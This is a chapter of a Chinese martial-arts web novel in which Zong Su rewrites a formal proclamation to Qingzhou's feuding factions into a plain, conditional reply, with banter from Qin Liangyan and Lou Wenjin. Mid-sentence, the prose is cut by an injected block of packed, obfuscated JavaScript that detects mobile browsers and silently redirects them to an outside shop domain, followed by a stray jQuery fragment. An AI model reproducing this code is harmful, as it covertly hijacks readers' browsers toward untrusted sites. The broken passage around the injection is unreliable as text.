灯火在案上晃，窗纸新糊过，风吹进来时，纸边轻轻一鼓，像有人在外头叹气。
书房里旧木味还没有散尽，宗家今日开门迎客，前院热闹了一整日，这间屋子却仍像刚从尘封里醒来，连砚台都透着一种不知该不该被人使用的谨慎。
秦梁燕坐在对面，单手支着下巴，也不催他。
她方才在席上吃了不少，辣酱祸事虽不是她亲手所为，账却大半算在沉灯坞头上。此时她脸上还带着一点饭后懒意，眼神却清明得很。
外头有人收拾桌椅，木凳拖过青砖，发出一长声响。沉灯坞弟子洗碗洗得很卖力，水声一阵一阵，间或夹着灶房婶子的笑骂。楼问津在远处说话，说得很有气势，听内容却像是在同人争论那半坛酒究竟该算谁的。
宗溯把信放下，伸手去取纸。
他取的是宗家旧笺。纸色微黄，压着暗纹，角上有一个很浅的“宗”字。今日管事刚让人从库房里翻出来，说是旧日老家主用惯了的笺纸，虽然放得久了，倒还没有生潮。
宗溯铺开纸，拿起笔，又停了停。
秦梁燕终于开口：“你这是要写什么？”
宗溯道：“回信。”
秦梁燕看了一眼青州急信，又看了一眼他手里的宗家旧笺，语气平平：“回给谁？”
这封信是青州一个旧友写来的，措辞很客气，句句都像请宗家帮忙，句句又都像已经替宗家把位置摆好了。
青州水市死了人，三派都不肯先低头，外头又有人趁乱伸手。写信的人说，如今诸方都看着宗氏，若宗氏肯出面发一封帖子，青州还有转圜余地。
宗溯蘸了墨，在纸上写下第一行。
“宗氏谨告诸派——”
秦梁燕看完，眉梢慢慢一挑，从茶盏旁边拿起一颗花生，丢进嘴里。
宗溯写得很慢，字迹端正，笔锋克制。
她从前在沉灯坞见过不少正道盟的帖，祝观澜那帮人最爱写这种东西。
字字清正，句句周全，念起来像要把人领去祠堂磕头。明明是几家抢东西抢到见血，最后落到纸上，便成了“江湖公义”“诸方安宁”“旧约不可轻废”。
秦梁燕又拿了一颗花生。
宗溯写到第三行时，她把花生壳放在案上，轻轻一推，壳正好停在那句“愿诸派以大局为重”旁边。
秦梁燕道：“你写得很好。”
宗溯看着她。
秦梁燕补了一句：“可以拿去刻碑了。”
宗溯笔尖顿住。
墨在纸上晕开小小一团，正好糊住一个“正”字。那字本来写得很稳，被墨一洇，反倒像被人从中间咬了一口。
秦梁燕忍不住笑了一声。
宗溯没有恼，只是低头看那张纸。那几行字端正得没有一点错处，却也确实不像一封活人写给活人的信。
它像宗家祠堂里那些牌位背后的字，庄重、体面、没有温度。
外头的水声停了一下，有弟子在廊下低声问：“少主，碗洗完了，我们能走了吗？”
秦梁燕没回头：“洗完了就把地也扫了。”
那弟子立刻没声了。
宗溯把那张纸揭开，又取了一张新纸。这一次，他没有立刻写。
秦梁燕看着他：“宗公子，你方才写那封帖，是你想写，还是他们想让你写？”
宗溯道：“青州已经死人了。”
秦梁燕点头：“是死人了，所以要管。但管死人是一回事，把自己写成死人又是另一回事。”
这话说得不大吉利，宗家书房里又摆着祖宗旧书，换了旁人在此，少不得要说她放肆。
宗溯却只是看着那张废掉的旧笺，半晌道：“我以为我已经不怕这些了。”
“你不是怕。”秦梁燕说，“你是太熟悉了。”
宗溯确实太熟了。
旁人求到门前，他便该听。有人说宗氏清名不坠，他便该坐直。有人说诸方看着宗家，他便该拿起笔。许多事不必逼他，甚至不必明说，只要把“宗氏”二字递到他面前，他自己就会知道下一步该做什么。
他曾经厌恶这些，可厌恶并不等于不会照做。
秦梁燕换了个坐姿，红衣袖口从案边扫过，险些扫到砚台。
宗溯伸手把砚台挪远了些，秦梁燕把手收回来，继续说：“今日你在席上坐主位，这是你的宅子，你家的门，你坐得起。但这封帖不一样，你一写‘谨告诸派’，明日就有人说宗氏重掌江湖旧约。后日青州压住了，他们来谢你。青州没压住，他们也来怪你。再过几日，别处起了争端，也照着青州的例子来求。你这书房刚扫干净，就又要变成旧正道盟的公案房。”
宗溯听完，低声道：“你今日话多。”
秦梁燕看他一眼：“饭吃多了。”
她说得太自然，宗溯原本沉着的心思，被这一句轻轻撞开些许。
外头楼问津的声音忽然近了些，像是从廊下经过。他大约听了半截，探头进来：“我觉得少主说得有理。宗兄这字写得太正了，青州那几家看了恐怕不敢打架，只敢回去沐浴更衣。”
秦梁燕转头：“你不是去争酒了吗？”
楼问津抱着酒坛，站得很坦荡：“争赢了。”
秦梁燕看向他怀里的酒坛。
楼问津又道：“赢了一半。”
酒坛确实只剩一半。
宗溯揉了揉眉心。
管事跟在楼问津后头进来，脸色比宗溯还苦。他今日记了一天账，宗家重开门庭，旁支长辈送了礼，旧友送了礼，沉灯坞也送了礼。
到了夜里一算，别的都还清楚，只有楼问津喝掉、抱走、供给卫横波前辈闻过的酒，始终算不明白。
管事忍了忍，对秦梁燕道：“秦少主，灶房说沉灯坞那坛辣酱还剩小半坛，问是带走，还是留在宗家。”
秦梁燕道：“留着。”
管事松了口气。
秦梁燕又道：“记账上，欠我三两。”
管事那口气卡在喉咙里。
楼问津立刻道：“宗家今日重开，买半坛辣酱也是好彩头。”
管事看向宗溯，神情里很有几分“家主你倒是管管”的意思。
宗溯平静道：“记二两八钱，讨个彩头。”
楼问津抚掌：“家主英明。”
管事低头应下，抱着账册走了，背影颇有些被辣酱打败的萧索。
这么一岔，书房里那点凝重倒散了许多。
宗溯重新看向案上新纸。
楼问津没有走，靠在门边喝了一口酒。他喝完才想起这是宗家书房，便很敷衍地把酒坛往身后一藏。秦梁燕懒得拆穿他，宗溯也当没看见。
宗溯提笔，这一次没有用旧笺开头那些端正话。
他写道：“青州水市之争，宗氏已知。三派若愿止争，可各派一人来宗宅，把仓棚、账册、水路、外援、伤亡赔偿逐项列明。宗家可作见证，不代诸派裁断是非。若仍欲以刀剑相争，此后死伤，各自担受，勿以宗氏清名遮掩。”
楼问津把头伸过来看，念完之后，十分认真地评价：“写的不够好听。”
秦梁燕道：“好听的都拿去骗人了。”
楼问津想了想，觉得很有道理，便不说话了。
宗溯又往下写了几句。没有“江湖大局”，没有“诸派共守”，也没有“宗氏愿为天下计”。他写得仍然端正，意思却清楚得近乎不客气。
三派想谈，就带账来。
想打，就自己承担。
宗家不做盟主，不发号令，不替任何一家擦干净刀上的血。
写到最后，宗溯停笔，等墨迹稍干。
秦梁燕拿过信纸看了一遍，看得很快。她读正道文章向来没有耐心，过去那些帖她看三行便想撕，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614845|203213||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
如今这封她竟从头看到尾，还没有打哈欠。
她把信放回案上：“终于不像碑文了。”
楼问津在门边点头：“宗兄方才那张确实可以刻。刻在青州水市门口，三派每日经过，都能想起自己不如一块石头清白。”
宗溯看向他。
楼问津立刻闭嘴，顺便又喝了一口酒。
秦梁燕忍不住笑，她一笑，书房里那点旧木气仿佛也淡了些。
宗溯把写坏的旧笺折起来，没有立刻丢。秦梁燕看见了，问他：“留着做什么？等日后真刻碑？”
宗溯道：“留着记一记。”
外头夜色深了，前院的灯一盏一盏灭下去。宗宅开门第一日，热闹收场，剩下一地杯盘、半坛辣酱、几张未清的账，还有一封即将送回青州的信。
送信的弟子被喊来时，脸已经洗干净了，肚子也填饱了。他原本以为家主要连夜吩咐大事，进门时站得很直，结果秦梁燕先递给他一包点心。
那弟子愣住：“秦少主，这是？”
秦梁燕道：“带着路上吃。别又满头汗跑到人门前，像被债主追了三条街。”
弟子下意识看向宗溯。
宗溯把回信封好，递给他：“不必连夜走。明早出发，路上慢些。”
弟子接过信，迟疑道：“若青州再乱……”
宗溯道：“那也是青州三派自己的乱，不是你跑快些就能少死几个人。”
这话说得太直，送信弟子一时没反应过来。
秦梁燕在旁边补了一句：“家主的意思是，你要是累死在路上，还得多赔一条命。”
弟子听得一头雾水，却莫名觉得很有道理，抱着信和点心退下了。
楼问津也打算退下，他抱着那半坛酒，脚步刚转，就被秦梁燕叫住。
“酒留下。”
楼问津叹了口气，把酒坛放回案边，放得很慢，像在送别一位故交。
秦梁燕道：“你可以去灶房看看，还有没有碗没洗。”
楼问津道：“少主，你这就刻薄了。”
秦梁燕道：“不去也行，明日青州三家若真派人来谈，你坐在门口收账，每人进门先交二两八钱。”
楼问津认真想了想：“那我还是去灶房。”
他溜得很快。
书房里终于只剩宗溯和秦梁燕。
宗溯把两封信都收好，一封是青州急信，一封是他写好的回信，那张像碑文的废笺被他压在砚台下，露出半角墨痕。
秦梁燕起身，走到窗边推开窗，夜风进来，吹得灯火偏了一下。宗宅前院已经静了，白日里坐满宾客的地方空下来，倒也不显冷清，只是像一张终于收拾完的桌子，等着明日再有人来坐。
秦梁燕回头道：“宗公子，今日这门算是开了。”
宗溯走到她身侧。
门开了。
他白日里坐在主位，听许多人说宗家旧年如何。夜里又坐在书房，看见有人把青州的乱送到他案上。这一天像是把过去几十年的影子都请回来，让它们在宗宅里走了一遍。
可到最后，宗宅没有变回从前那座宗宅。
他也没有写下那封旧式的帖。
秦梁燕看着前院，忽然道：“明日若青州真派人来，你这宅子又要热闹。灶房婶子今日刚夸沉灯坞弟子碗洗得亮，明日正好接着用。”
宗溯道：“他们会不会跑？”
秦梁燕道：“跑不了。我的人，洗碗也是有规矩的。”
宗溯侧头看她：“沉灯坞规矩？”
秦梁燕想了想：“我现编的。”
宗溯低声笑了一下。
秦梁燕看见他笑，心情大好，也跟着笑了。
她笑得不算收敛，外头路过的沉灯坞弟子听见，脚步都轻快了些。
宗宅门前的灯还亮着，照着新挂的匾，也照着廊下未干的水痕。